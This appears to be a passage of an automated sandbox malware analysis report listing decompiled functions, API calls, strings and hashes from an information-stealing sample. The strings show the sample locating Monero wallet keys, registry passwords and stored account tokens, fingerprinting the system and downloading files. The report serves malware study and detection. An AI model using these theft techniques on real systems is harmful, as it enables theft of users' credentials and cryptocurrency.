Part of subcall function 00938B60: GetSystemTime.KERNEL32(00940E1A,0105C720,009405AE,?,?,009213F9,?,0000001A,00940E1A,00000000,?,01059110,?,\Monero\wallet.keys,00940E17), ref: 00938B86

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00921465

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 009299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009299EC
Part of subcall function 009299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00929A11
Part of subcall function 009299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00929A31
Part of subcall function 009299C0: ReadFile.KERNEL32(000000FF,?,00000000,0092148F,00000000), ref: 00929A5A
Part of subcall function 009299C0: LocalFree.KERNEL32(0092148F), ref: 00929A90
Part of subcall function 009299C0: CloseHandle.KERNEL32(000000FF), ref: 00929A9A

DeleteFileA.KERNEL32(00000000), ref: 009214EF

Strings

\Monero\wallet.keys, xrefs: 0092138D
.keys, xrefs: 0092136B
wallet_path, xrefs: 00921330
SOFTWARE\monero-project\monero-core, xrefs: 00921335

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 6a07b718d5e74076417b3b402d6ef634215e1908b3c57b9dc7150259a07ea4ef
Instruction ID: 3dfc3f925c5e8ab6868ff94c3daeeaf607e74e55406001be7007991881036984
Opcode Fuzzy Hash: 6a07b718d5e74076417b3b402d6ef634215e1908b3c57b9dc7150259a07ea4ef
Instruction Fuzzy Hash: 4E5123B1D5011957CB15FB60DD92FEE737CAF94300F404198B64AA2091EE746B89CFA6

Function 009275D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009272D0: memset.MSVCRT ref: 00927314
Part of subcall function 009272D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0092733A
Part of subcall function 009272D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009273B1
Part of subcall function 009272D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0092740D
Part of subcall function 009272D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00927452
Part of subcall function 009272D0: HeapFree.KERNEL32(00000000), ref: 00927459

lstrcat.KERNEL32(00000000,009417FC), ref: 00927606
lstrcat.KERNEL32(00000000,00000000), ref: 00927648
lstrcat.KERNEL32(00000000, : ), ref: 0092765A
lstrcat.KERNEL32(00000000,00000000), ref: 0092768F
lstrcat.KERNEL32(00000000,00941804), ref: 009276A0
lstrcat.KERNEL32(00000000,00000000), ref: 009276D3
lstrcat.KERNEL32(00000000,00941808), ref: 009276ED
task.LIBCPMTD ref: 009276FB

Strings

: , xrefs: 0092764E

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 1e60f64e03098ceb0e5bf869717e3f4cf43ce3ada88041b4e0e27ced7f8eddc8
Instruction ID: 07aa1f3872dc9d0d4db247de71d11f079a3960edae21e423330d69a5a9ba0635
Opcode Fuzzy Hash: 1e60f64e03098ceb0e5bf869717e3f4cf43ce3ada88041b4e0e27ced7f8eddc8
Instruction Fuzzy Hash: 5A316972901109EBCF04EBE4EC86EEFB778AB85305B104418E102B72A5DE78A946CF52

Function 009272D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00927314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0092733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009273B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0092740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00927452
HeapFree.KERNEL32(00000000), ref: 00927459
task.LIBCPMTD ref: 00927555

Strings

Password, xrefs: 00927401

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 451900416bacf8a3f50cffd0ed3c5960ca05798b2b3df16ccaa32c8f938afa42
Instruction ID: e6de044b75732f80be57a5abcaf35accde1823a0a9199a8c647e3112b93b97f8
Opcode Fuzzy Hash: 451900416bacf8a3f50cffd0ed3c5960ca05798b2b3df16ccaa32c8f938afa42
Instruction Fuzzy Hash: 4B612CB59041689BDB24DB50DC51FDAB7B8BF84300F0081E9E649A6185DFB45FC9CF90

Function 00938100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0105E1C8,00000000,?,00940E2C,00000000,?,00000000), ref: 00938130
RtlAllocateHeap.NTDLL(00000000), ref: 00938137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00938158
__aulldiv.LIBCMT ref: 00938172
__aulldiv.LIBCMT ref: 00938180
wsprintfA.USER32 ref: 009381AC

Strings

%d MB, xrefs: 009381A3
@, xrefs: 0093814D

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: ac6d6e9a7a27812871f5be2e493ec67312e290dd8de72c5f48ff1f019b2174df
Instruction ID: 8b4e4b41c0da2525c338534038c1e5f4824a8b57366463d143b406f799177038
Opcode Fuzzy Hash: ac6d6e9a7a27812871f5be2e493ec67312e290dd8de72c5f48ff1f019b2174df
Instruction Fuzzy Hash: DA21C9B1A44218ABDB00DFD4DD49FAFB7B8EB44B14F104519F605BB2C0DBB869018FA5

Function 009260A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 009247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00924839
Part of subcall function 009247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00924849

InternetOpenA.WININET(00940DF7,00000001,00000000,00000000,00000000), ref: 0092610F
StrCmpCA.SHLWAPI(?,0105E790), ref: 00926147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0092618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 009261B3
InternetReadFile.WININET(?,?,00000400,?), ref: 009261DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0092620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00926249
InternetCloseHandle.WININET(?), ref: 00926253
InternetCloseHandle.WININET(00000000), ref: 00926260

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: ff0afb06a4e0d7e009de47988838f1f825bc97562eec201e82256e2633586f36
Instruction ID: 409a663e3c9ec6c5dc32323ed19ec11e197677971d1b6925dc72451291623d13
Opcode Fuzzy Hash: ff0afb06a4e0d7e009de47988838f1f825bc97562eec201e82256e2633586f36
Instruction Fuzzy Hash: 79512CB1900218ABDF20DF60DC45BEE77B8EB44705F108498E605A71C5DBB8AA89CF95

Function 0092BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

lstrlen.KERNEL32(00000000), ref: 0092BC9F

Part of subcall function 00938E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00938E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0092BCCD
lstrlen.KERNEL32(00000000), ref: 0092BDA5
lstrlen.KERNEL32(00000000), ref: 0092BDB9

Strings

AccountId, xrefs: 0092BCC4
AccountTokens, xrefs: 0092BB49
AccountTokens, xrefs: 0092BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0092BBEB

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 246ffa782e3a6d44ad351c58d272350dc9862e9ba419a5916e117776d56b2bdc
Instruction ID: d289ed3fe18740d39d9b48b48a81d76e40b0a0d4542696b51146bb55f7c06e39
Opcode Fuzzy Hash: 246ffa782e3a6d44ad351c58d272350dc9862e9ba419a5916e117776d56b2bdc
Instruction Fuzzy Hash: B9B12972910108ABDF04EBA0DD96FEE7379AF94300F404568F546B7092EF746A49CFA6

Function 00936770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00936774
ExitProcess.KERNEL32 ref: 009367A5
ExitProcess.KERNEL32 ref: 009367AF
ExitProcess.KERNEL32 ref: 009367B9
ExitProcess.KERNEL32 ref: 009367C3
ExitProcess.KERNEL32 ref: 009367CD

Strings

*, xrefs: 0093678C

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: eede6f0be63c1a217cea45f7cec07c118dc5db8d035ecf3063e9f88a04aa6cd5
Instruction ID: b5270eb988d7d2190e9b057b27eb06e4852f0e4bf39c2dbc313daf78d0122d7a
Opcode Fuzzy Hash: eede6f0be63c1a217cea45f7cec07c118dc5db8d035ecf3063e9f88a04aa6cd5
Instruction Fuzzy Hash: 13F05E30908209EFDB449FE0E90973C7B70FB04703F044198E60AA72D0DAB85F419F96

Function 00924FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00924FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00924FD1
InternetOpenA.WININET(00940DDF,00000000,00000000,00000000,00000000), ref: 00924FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00925011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00925041
InternetCloseHandle.WININET(?), ref: 009250B9
InternetCloseHandle.WININET(?), ref: 009250C6

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 812bbeb03f9cd527e3312c4ad14048cd60c6c5f19410beb2601ccdf5360d65dd
Instruction ID: c9191ce28dcde15e7f99c27c464ecfd647659feaa98351cd91e11e7466f54bd5
Opcode Fuzzy Hash: 812bbeb03f9cd527e3312c4ad14048cd60c6c5f19410beb2601ccdf5360d65dd
Instruction Fuzzy Hash: E531E6B4A40218ABDB20CF54DC85BDDB7B4EB48704F1081D9EA09B7281DAB46E858F99

Function 009383DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00938426
wsprintfA.USER32 ref: 00938459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0093847B
RegCloseKey.ADVAPI32(00000000), ref: 0093848C
RegCloseKey.ADVAPI32(00000000), ref: 00938499

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

RegQueryValueExA.ADVAPI32(00000000,0105DE78,00000000,000F003F,?,00000400), ref: 009384EC
lstrlen.KERNEL32(?), ref: 00938501
RegQueryValueExA.ADVAPI32(00000000,0105DE48,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00940B34), ref: 00938599
RegCloseKey.ADVAPI32(00000000), ref: 00938608
RegCloseKey.ADVAPI32(00000000), ref: 0093861A

Strings

%s\%s, xrefs: 0093844D

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 8c2456391c06deef7af23be6feb5dac934a1a648d3b9ea69f235db027ca72a7c
Instruction ID: f865eb39999f6c38296836612bd85990cee589931772a83f0dbd64339a230731
Opcode Fuzzy Hash: 8c2456391c06deef7af23be6feb5dac934a1a648d3b9ea69f235db027ca72a7c
Instruction Fuzzy Hash: 8F21E7B1910218ABDB24DB54DC85FE9B3B8FB88704F00C598E609A7180DF75AA85CFD4

Function 00937690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009376A4
RtlAllocateHeap.NTDLL(00000000), ref: 009376AB
RegOpenKeyExA.ADVAPI32(80000002,0104BA08,00000000,00020119,00000000), ref: 009376DD
RegQueryValueExA.ADVAPI32(00000000,0105DE18,00000000,00000000,?,000000FF), ref: 009376FE
RegCloseKey.ADVAPI32(00000000), ref: 00937708

Strings

Windows 11, xrefs: 009376BD

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
